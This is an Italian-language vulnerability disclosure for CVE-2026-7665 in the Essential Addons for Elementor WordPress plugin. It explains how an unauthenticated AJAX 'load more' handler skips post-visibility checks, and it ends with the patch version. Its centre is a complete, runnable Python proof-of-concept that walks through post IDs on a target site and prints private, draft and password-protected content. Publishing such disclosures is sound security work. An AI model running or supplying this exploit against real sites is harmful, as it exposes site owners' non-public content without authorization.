
Exploit proof-of-concept per CVE-2026-7665, una divulgazione di informazioni non autenticata in Essential Addons for Elementor, che consente l'estrazione di post WordPress privati, bozze e protetti da password.
| Campo | Dettaglio |
|---|
| CVE ID | CVE-2026-7665 |
| Gravità | Media |
| Punteggio CVSS | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Plugin interessato | Essential Addons for Elementor |
| Versioni interessate | ≤ 6.6.4 |
| Installazioni attive | 1.000.000+ |
| CVE assegnato da | Wordfence (CNA) |
| Divulgato | Giugno 2026 |
| Ricercatore | Anirudh Makkar |
Il gestore AJAX ajax_load_more in Essential Addons for Elementor non imponeva la visibilità dei post prima di restituire il contenuto dei post. Ciò consentiva ad attaccanti non autenticati di leggere post privati, protetti da password e bozze di WordPress tramite una richiesta wp-admin/admin-ajax.php modificata — nessuna autenticazione o nonce richiesta.
Il plugin registra un gestore sull'hook di azione wp_ajax_nopriv_eael_post_grid_load_more, rendendolo accessibile a visitatori non autenticati. Quando questo gestore esegue una WP_Query per recuperare i post per la funzionalità di paginazione "load more", non chiama current_user_can('read_post', $post_id) né controlla get_post_status() rispetto alle capacità dell'utente richiedente. Il core di WordPress si affida ai plugin per applicare l'autorizzazione a livello di post nei gestori AJAX — non lo fa automaticamente. L'assenza di questo controllo significa che il gestore restituisce l'intero contenuto del post indipendentemente dalle impostazioni di visibilità del post.
wp-admin/admin-ajax.php
→ do_action('wp_ajax_nopriv_eael_post_grid_load_more')
→ Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
→ WP_Query([
'post_status' => ['publish', 'private', 'draft'], // all statuses returned
...
])
→ [returns full post content without authorization check]
Un attaccante non autenticato può enumerare e leggere:
Ciò potrebbe esporre contenuti aziendali sensibili, annunci non ancora pubblicati, documentazione interna pubblicata come post di WordPress o qualsiasi altro contenuto non pubblico gestito tramite l'editor di WordPress.
#!/usr/bin/env python3
"""
CVE-2026-7665 — Unauthenticated Information Disclosure
Essential Addons for Elementor <= 6.6.4
Usage: python3 poc.py https://target.example.com [post_id]
Iterates post IDs to extract private/draft/password-protected content.
For educational and authorized testing purposes only.
"""
import requests
import sys
import json
def check_target(base_url):
"""Verify the plugin is present."""
resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
return resp.status_code != 404
def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
url = f"{base_url}/wp-admin/admin-ajax.php"
data = {
"action": "eael_post_grid_load_more",
"widget_id": widget_id,
"page_id": page_id,
"post_id": str(post_id),
"page": "2",
}
try:
resp = requests.post(url, data=data, timeout=10)
if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
return resp.text
except requests.RequestException:
pass
return None
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url> [start_id] [end_id]")
sys.exit(1)
target = sys.argv[1].rstrip("/")
start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 50
print(f"[*] Target: {target}")
print(f"[*] Probing post IDs {start_id}–{end_id}")
if not check_target(target):
print("[!] Plugin not detected — target may be patched or not running EAEL")
found = 0
for pid in range(start_id, end_id + 1):
result = fetch_private_post(target, pid)
if result:
found += 1
print(f"\n[+] Post ID {pid} — content exposed ({len(result)} bytes)")
print(result[:300])
print("..." if len(result) > 300 else "")
print(f"\n[*] Done. {found} post(s) with exposed content found.")
if __name__ == "__main__":
main()
Aggiorna Essential Addons for Elementor alla versione 6.6.5 o successiva.
La correzione aggiunge un controllo current_user_can('read_post', $post_id) all'interno del gestore load-more prima di includere qualsiasi post nei risultati della query.
Segnalato da Anirudh Makkar · LinkedIn